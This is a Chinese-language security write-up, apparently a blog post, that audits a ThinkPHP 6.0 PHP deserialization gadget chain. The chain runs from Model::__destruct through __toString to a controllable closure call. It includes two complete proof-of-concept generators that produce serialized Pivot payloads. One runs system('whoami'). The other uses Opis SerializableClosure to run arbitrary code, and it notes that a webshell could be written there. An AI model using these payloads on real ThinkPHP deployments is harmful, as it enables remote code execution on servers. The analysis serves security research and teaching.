tp6.0 apache php7.3
反序列化漏洞需要存在 unserialize()
作为触发条件,修改入口文件
app/controller/Index.php
注意tp6
的url
访问直接是 /控制器/操作/参数…………,相比tp5
少了模块这个地方,本地测试的需要注意。
全局搜索 __destruct
可利用的在/vendor/topthink/think-orm/src/Model.php
里
跟进$this->save()
去看一下 setAttrs 方法
public function setAttrs(array $data): void
{
// 进行数据处理
foreach ($data as $key => $value) {
$this->setAttr($key, $value, $data);
}
}
public function setAttr(string $name, $value, array $data = []): void
{
if (……) {
……
} else {
// 检测修改器
$method = 'set' . Str::studly($name) . 'Attr';
if (method_exists($this, $method)) {
$array = $this->data;
//注意这里可以调用动态函数,执行命令,但是上面对 method 进行字符串拼接
$value = $this->$method($value, array_merge($this->data, $data));
}
这里是不通的,继续往下审计,
跟进 $this->updateDate()
检查数据之后获取有更新的数据,这两个函数可以用来绕过下面的的 if 语句
后面构造pop
的时候再细说。
跟进检查允许字段$this->checkAllowFields()
跟进 $this->db
注意这个字符串拼接符号$this->name . $this->suffix
,可以利用其触发__toString
全局搜索 __toString
,芜湖,来到了熟悉的conversion
类里
继续跟进__toArray
前面的遍历先不看,跟进 getAttr()
先看返回值 的 $this->getValue
这里的
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
注意看这里,我们是可以控制$this->withAttr
的,那么就等同于控制了$closure
可以作为动态函数,执行命令。根据这个点,我们来构造pop。
一开始 我们需要 控制 $this->lazySave
变量为真,然后进入save()
方法,需要执行$this->updateDate
不能被 提前return
,去看 is_Empty() , trigger()
方法,
public function isEmpty(): bool
{
return empty($this->data);
//FALSE if var exists and has a non-empty, non-zero value. Otherwise returns TRUE.
//$this->data 可控,设置非空的数组就好。
}
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
//!$this->withEvent 可控
return true;
}
且还需要 $this->exists
为真 ,这个参数也是可控的。
进入 $this->updateData
方法后,我们需要程序执行到 $this->checkAllowFields()
在此之前同样不能被return
跟进 getChangedData()
我们希望 $data
不改变,所以就令$this->force
为真。
$this->lazySave == true
$this->data不为空
$this->withEvent == false
$this->exists == true
$this->force == true
model
类是复用了trait
类 的,可以访问其属性,和方法。Model
类 是抽象类,不能被实例化,所以我们还需要找到其子类。
Pivot
类就是我们需要找的类。
到这里我们成功执行到了 $this->checkAllowFields()
,还得进入 $this->db()
$this->field
为空,$this->schema
也为空。初始就是空数组,不做处理。
现在进入到 $this->db()
里。
将$this->name
或 $this->suffix
设置为含有__toString
的类对象就可以触发此魔术方法。
但是这里有意思的是,我们需要触发__toString
的类 是conversion
类 而这个类是trait
类,
而当前的model
类是 复用了 conversion
类的,所以我们相当于重新调用一遍 Pivot
类。也就是重新调用一下自己,触发自己的的__toString
方法。这个操作在buuoj
上的一道题目中遇到过。
再接着就是 toJson() toArray()
,前面两个foreach
不做处理,再下来这个foreach
会进入最后一个if分支
,调用getAttr
方法。这个foreach
是遍历 $this->data
,然后将$data
的$key
传入getAttr
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
进入getAttr
方法,这里的$name 是 $key
跟进getData
跟进getRealFieldName()
$this->strict `默认值为True 所以 `$fieldName = $key
,$key是一定存在与$this->data 里的,然后$this->getdata()
返回的$value
值就是 $this->data[$key]
。
最后return $this->getValue($key, $this->data[$key], $relation)
进入 getValue()
同理,这里的$fieldName
就是 $key
,$relation
在传入时设置值就是false
,然后 我们设置一下$this->withAttr[$fieldName]
的值,进入if(``isset($this->withAttr[$fieldName]))
分支。进行命令执行。
<?php namespace think\model\concern; trait Attribute{ private $data=['jiang'=>'whoami']; private $withAttr=['jiang'=>'system']; } trait ModelEvent{ protected $withEvent; } namespace think; abstract class Model{ use model\concern\Attribute; use model\concern\ModelEvent; private $exists; private $force; private $lazySave; protected $suffix; function __construct($a = '') { $this->exists = true; $this->force = true; $this->lazySave = true; $this->withEvent = false; $this->suffix = $a; } } namespace think\model; use think\Model; class Pivot extends Model{} echo urlencode(serialize(new Pivot(new Pivot()))); ?>
成功执行
$value = $closure($value, $this->data);
这个动态函数的参数有两个 第一个是 $data
的 $value
第二个就是 $data
数组。这里我们可以执行system('whoami')
是因为system
支持两个参数的,但是这里的参数问题导致我们的利用条件很局限。
tp6自带一种SerializableClosure
调用,也就是
\Opis\Closure\SerializableClosure
这个包呢,和php
自带的反序列化函数不同的地方,就是可以反序列化函数,就是可以把函数反序列化。
php
对用户自定义函数的参数要求并不是很严格,可以看下面这个。
所以我们可以通过但反序列化函数绕过这里参数的限制。
$func = function(){phpinfo();}; $closure = new \Opis\Closure\SerializableClosure($func); $closure($value, $this->data);// 参数不用管。
修改上面的pop
<?php namespace think\model\concern; trait Attribute{ private $data; private $withAttr; } trait ModelEvent{ protected $withEvent; } namespace think; abstract class Model{ use model\concern\Attribute; use model\concern\ModelEvent; private $exists; private $force; private $lazySave; protected $suffix; function __construct($a = '') { $func = function(){phpinfo();};//可写马,测试用的phpinfo; $b=\Opis\Closure\serialize($func); $this->exists = true; $this->force = true; $this->lazySave = true; $this->withEvent = false; $this->suffix = $a; $this->data=['jiang'=>'']; $c=unserialize($b); $this->withAttr=['jiang'=>$c]; } } namespace think\model; use think\Model; class Pivot extends Model{} require 'closure/autoload.php'; echo urlencode(serialize(new Pivot(new Pivot()))); ?>
自行下载 \Opis\Closure\
这个包,链接
poc
放在closure
文件夹同级。
这个反序列化漏洞最终是利用了可变函数,以及函数的反序列化绕过参数的限制。所以当可以使用自定义函数的时候,参数就变得不是那么重要,再加上可以反序列化函数的这个包,可以利用的地方就更多了。如果有问题,还请师傅们指出。